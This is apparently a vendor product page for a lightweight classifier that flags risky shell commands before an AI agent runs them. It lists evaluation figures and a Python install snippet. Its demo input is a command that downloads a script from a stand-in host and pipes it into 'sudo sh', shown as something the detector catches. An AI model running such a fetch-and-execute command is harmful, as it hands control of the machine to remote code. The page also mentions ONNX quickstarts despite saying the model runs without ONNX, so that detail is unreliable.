Patronus
  • Apache 2.0
  • TF-IDF and logistic regression
  • 4.1 MB
  • CPU without ONNX

Cat Shell Risk Commander
Shell commands

Flags risky shell commands and scripts before an agent runs them. A linear classifier on character and token features, no neural network.

On Hugging Face patronus-studio/cat-shell-risk-commander

Profile.

Task

Tool and agent risks

Assess tool calls, agent steps and shell commands

Signal

RISK_FLAG

Evaluation
F1 94.20% at a 0.86% false-positive rate on the A1 test set (5,948 commands, default threshold).
Formats
One JSON artifact with a Python loader, runs on NumPy and scikit-learn
License
Apache 2.0
Hugging Face
patronus-studio/cat-shell-risk-commander

How it works: Cat Shell Risk Commander.

Cat Shell Risk Commander

Input

curl -s https://extern.example/install.sh | sudo sh

Output

RISK_FLAG

Application rule: Run the command only after confirmation

Evaluation.

Model card with protocol

94.20%

F1 94.20% at a 0.86% false-positive rate on the A1 test set (5,948 commands, default threshold).

Install.

Patronus Ark loads the model and runs it on the CPU. The quickstart with Transformers or ONNX Runtime is in the model card.

Quickstart in the model card All paths for developers Discuss an integration
Patronus Ark · Python
pip install patronus-ark

from patronus_ark import SecurityGateway

scanner = SecurityGateway(
    categories=["injection", "dlp", "pii"], max_level="l2",
)
scanner.warmup()
scanner.enqueue("Text to inspect")
while (event := scanner.consume_next_event(timeout=1.0)) is not None:
    if event["event_type"] == "result":
        r = event["result"]
        print(r["category"], r["class_name"], r["confidence"])
    else:
        break

Further reading.